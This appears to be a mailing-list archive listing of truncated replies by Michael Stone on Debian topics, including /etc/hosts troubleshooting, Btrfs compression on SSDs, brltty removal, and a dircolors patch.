On Fri, Jan 28, 2022 at 07:30:25AM -0600, Martin McCormick wrote: I suspect this is the crux of the problem. the adapter I connected is a card reader. You put the SSD in a little plastic jacket that holds the SSD in such a way that the card reader can access the edge connector but the

Bug#991378: This bug is still alive

2022-01-07 Thread Michael Stone
agreed, someone should fix xdg-desktop-portal to not cause errors On Fri, Jan 07, 2022 at 07:05:09PM -0600, you wrote: It breaks the df command and rf command - both return unhelpful error messages - breaks scrips that use df.. Putting a mount point in /root/.cache was never a good idea -

Re: [SOLVED] Re: Firefox: Warning: Potential Security Risk Ahead for the USPS.com

2022-01-04 Thread Michael Stone
On Tue, Jan 04, 2022 at 10:34:48AM -0800, James H. H. Lampert wrote: On 1/4/22 10:19 AM, Michael Stone wrote: And this is why putting stuff into /etc/hosts is basically never the right answer. :) Au contraire! Among other things, the host table is the best possible place to block access

Re: brltty=huge distraction for folks that don't need it.

2022-01-04 Thread Michael Stone
On Tue, Jan 04, 2022 at 08:52:00AM -0500, rhkra...@gmail.com wrote: On Tuesday, January 04, 2022 05:20:34 AM Pierre-Elliott Bécue wrote: gene heskett wrote on 03/01/2022 at 02:24:53+0100: > The first time I tried to remove brltty, the removal cascaded all the > way up thru all of gnome and

Re: [SOLVED] Re: Firefox: Warning: Potential Security Risk Ahead for the USPS.com

2022-01-04 Thread Michael Stone
On Tue, Jan 04, 2022 at 01:09:06AM +0100, local10 wrote: Jan 3, 2022, 23:08 by d...@randomstring.org: Alright. Put this into your /etc/hosts temporarily: [...] OK, I understand now what the problem was. Quite a while ago I added a line into the /etc/hosts to fix a temp DNS issue and

Re: Reasonably simple setup for 1TB HDD and 250GB M.2 NVMe SSD

2022-01-04 Thread Michael Stone
On Mon, Jan 03, 2022 at 08:51:59PM -0300, Jorge P. de Morais Neto wrote: But doesn't Btrfs compression work with small blocks? https://btrfs.wiki.kernel.org/index.php/Compression#Are_there_speed_penalties_when_doing_random_access_to_a_compressed_file.3F Relatively small, which makes it fairly

Re: Reasonably simple setup for 1TB HDD and 250GB M.2 NVMe SSD

2022-01-03 Thread Michael Stone
On Mon, Jan 03, 2022 at 10:33:59AM -0500, Dan Ritter wrote: Michael Stone wrote: On Mon, Jan 03, 2022 at 08:42:29AM -0300, Jorge P. de Morais Neto wrote: > Indeed I use such high compression to prolong SSD lifetime. This is probably misguided and useless at best, at worst you're caus

Re: Reasonably simple setup for 1TB HDD and 250GB M.2 NVMe SSD

2022-01-03 Thread Michael Stone
On Mon, Jan 03, 2022 at 08:42:29AM -0300, Jorge P. de Morais Neto wrote: Indeed I use such high compression to prolong SSD lifetime. This is probably misguided and useless at best, at worst you're causing additional writes because compressed data is generally hard to modify in place without

Re: Patch: dircolors, add alacritty

2021-10-13 Thread Michael Stone
On Wed, Oct 13, 2021 at 02:18:53PM +0100, Pádraig Brady wrote: Right dircolors will set empty LS_COLORS due to not matching the TERM. In that case ls will resort to using its default basic color set (which it does because COLORTERM is set). Adding various terminals to the default list seems not

Re: Privacy and defamation of character on Debian public forums

2021-09-26 Thread Michael Stone
On Sat, Sep 25, 2021 at 07:51:18PM -0400, rhkra...@gmail.com wrote: Ahh, looking harder, apparently means: For Avoidance Of Doubt (chiefly British) It certainly clarified things. :-D

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